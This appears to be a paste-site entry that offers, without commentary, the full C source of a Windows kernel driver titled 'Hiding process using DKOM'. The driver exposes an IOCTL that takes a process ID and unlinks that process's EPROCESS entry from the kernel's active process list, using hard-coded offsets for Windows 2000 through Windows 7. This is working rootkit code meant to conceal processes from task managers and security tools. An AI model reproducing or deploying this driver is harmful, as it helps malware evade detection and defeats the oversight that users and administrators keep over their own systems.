chino icon

Hiding process using DKOM

chino | PRO | 09/03/23 01:08:32 PM UTC (Edited) | 0 ⭐ | 415 👁️ | Never ⏰ | []
C |

4.57 KB

|

None

|

0 👍

/

0 👎

#include <ntifs.h>
 
typedef unsigned long      DWORD;
typedef unsigned char      BYTE;
typedef unsigned short int WORD;
 
 
typedef struct _LDR_DATA_TABLE_ENTRY {
  LIST_ENTRY    InLoadOrderLinks;
  LIST_ENTRY    InMemoryOrderLinks;
  LIST_ENTRY    InInitializationOrderLinks;
  PVOID      DllBase;
  PVOID      EntryPoint;
  ULONG      SizeOfImage;
  UNICODE_STRING  FullDllName;
  UNICODE_STRING  BaseDllName;
  ULONG      Flags;
  WORD       LoadCount;
  WORD       TlsIndex;
 
  union{
     LIST_ENTRY HashLinks;
     struct{
        PVOID SectionPointer;
        ULONG CheckSum;
     };
  };
 
  union{
     ULONG TimeDataStamp;
     PVOID LoadedImports;
  };
 
  //_ACTIVATION_CONTEXT * EntryPointActivationContext;
  PVOID PatchInformation;
  LIST_ENTRY ForwarderLinks;
  LIST_ENTRY ServiceTagLinks;
  LIST_ENTRY StaticLinks;
} LDR_DATA_TABLE_ENTRY, *PLDR_DATA_TABLE_ENTRY;
 
 
#define DriverName L"\\Device\\HideProcess"
#define DosDeviceName L"\\DosDevices\\HideProcess"
 
 
NTSTATUS HideProcessByDKOM(IN DWORD dwTargetPID);
 
 
NTSTATUS CreateDriver(PDEVICE_OBJECT pDeviceObject, PIRP pIrp)
{
    return STATUS_SUCCESS;
}
 
NTSTATUS CloseDriver(PDEVICE_OBJECT pDeviceObject, PIRP pIrp)
{
    return STATUS_SUCCESS;
}
 
void UnloadDriver(PDRIVER_OBJECT pDriverObject)
{
    UNICODE_STRING uDosDeviceName;
 
    RtlInitUnicodeString(&uDosDeviceName, DosDeviceName);
 
    IoDeleteSymbolicLink(&uDosDeviceName);
    IoDeleteDevice(pDriverObject->DeviceObject);
}
 
NTSTATUS Unsupported(PDEVICE_OBJECT pDeviceObject, PIRP pIrp)
{
    return STATUS_NOT_SUPPORTED;
}
 
NTSTATUS IOCTLDispatch(PDEVICE_OBJECT pDeviceObject, PIRP pIrp)
{
    PIO_STACK_LOCATION pIoStack = NULL;
    PVOID pInBuffer = NULL;
    NTSTATUS NtStatus = STATUS_SUCCESS;
 
    pIoStack = IoGetCurrentIrpStackLocation(pIrp);
 
    switch (pIoStack->Parameters.DeviceIoControl.IoControlCode)
    {
 
 
    case 0x8000000: //Your Control Code
        pInBuffer = pIrp->AssociatedIrp.SystemBuffer;
        if(pInBuffer)
            NtStatus = HideProcessByDKOM(*(DWORD*)pInBuffer);
        goto END;
 
    default:
        goto END;
    }
 
END:
    pIrp->IoStatus.Status = STATUS_SUCCESS;
    pIrp->IoStatus.Information = 0;
 
    IoCompleteRequest(pIrp, IO_NO_INCREMENT);
 
    return NtStatus;
}
 
NTSTATUS HideProcessByDKOM(IN DWORD dwTargetPID)
{
    PLIST_ENTRY pPrevList, pCurrentList, pNextList;
    ULONG MajorVersion, MinorVersion, offset = 0x00;
    PEPROCESS pEprocess;
    NTSTATUS NtStatus = STATUS_SUCCESS;
 
    if(dwTargetPID == 0)
        return STATUS_SUCCESS;
 
    NtStatus = PsLookupProcessByProcessId((HANDLE)dwTargetPID, &pEprocess);
    if(!NT_SUCCESS(NtStatus))
    {
        return NtStatus;
    }
 
    //DebugPrint("EPROCESS:0x%08X\n",pEprocess);
 
    PsGetVersion(&MajorVersion, &MinorVersion, NULL, NULL);
    if(MajorVersion == 5 && MinorVersion == 0) //Windows 2000
        offset = 0xA0;
    else if(MajorVersion == 5 && MinorVersion == 1) //Windows XP
        offset = 0x88;
    else if(MajorVersion == 6 && MinorVersion == 0) //Windows Vista
        offset = 0xA0;
    else if(MajorVersion == 6 && MinorVersion == 1) //Windows 7
        offset = 0xB8;
    else {
        ObDereferenceObject(pEprocess);
        return STATUS_UNSUCCESSFUL;
    }
 
    if(offset == 0)
        return STATUS_UNSUCCESSFUL;
 
 
    //Hiding
    pCurrentList = (PLIST_ENTRY)((PUCHAR)pEprocess + offset);
    pPrevList    = (PLIST_ENTRY)pCurrentList->Blink;
    pNextList    = (PLIST_ENTRY)pCurrentList->Flink;
 
    pPrevList->Flink = (PLIST_ENTRY)pNextList;
    pNextList->Blink = (PLIST_ENTRY)pPrevList;
 
    pCurrentList->Flink = (PLIST_ENTRY)pCurrentList;
    pCurrentList->Blink = (PLIST_ENTRY)pCurrentList;
 
 
    ObDereferenceObject(pEprocess);
 
    return STATUS_SUCCESS;
}
 
NTSTATUS DriverEntry(PDRIVER_OBJECT pDriverObject, PUNICODE_STRING pRegistryPath)
{
    UNICODE_STRING uDriverName, uDosDeviceName;
    PDEVICE_OBJECT pDeviceObject;
    int            iIndex = 0;
    NTSTATUS NtStatus = STATUS_SUCCESS;
 
    RtlInitUnicodeString(&uDriverName, DriverName);
    RtlInitUnicodeString(&uDosDeviceName, DosDeviceName);
 
    NtStatus = IoCreateDevice(pDriverObject, 0, &uDriverName, FILE_DEVICE_UNKNOWN, FILE_DEVICE_SECURE_OPEN, FALSE,  &pDeviceObject);
    if(!NT_SUCCESS(NtStatus)){
        if(NtStatus != STATUS_WAIT_1){
            return NtStatus;
        }
    }
 
    for(iIndex = 0; iIndex < IRP_MJ_MAXIMUM_FUNCTION; iIndex++)
        pDriverObject->MajorFunction[iIndex] = Unsupported;
 
    pDriverObject->MajorFunction[IRP_MJ_CREATE] = CreateDriver;
    pDriverObject->MajorFunction[IRP_MJ_CLOSE]  = CloseDriver;
    pDriverObject->MajorFunction[IRP_MJ_DEVICE_CONTROL] = IOCTLDispatch;
    pDriverObject->DriverUnload = UnloadDriver;
 
    pDeviceObject->Flags |= DO_DIRECT_IO;
    pDeviceObject->Flags &= (~DO_DEVICE_INITIALIZING);
 
    return STATUS_SUCCESS;
}

Comments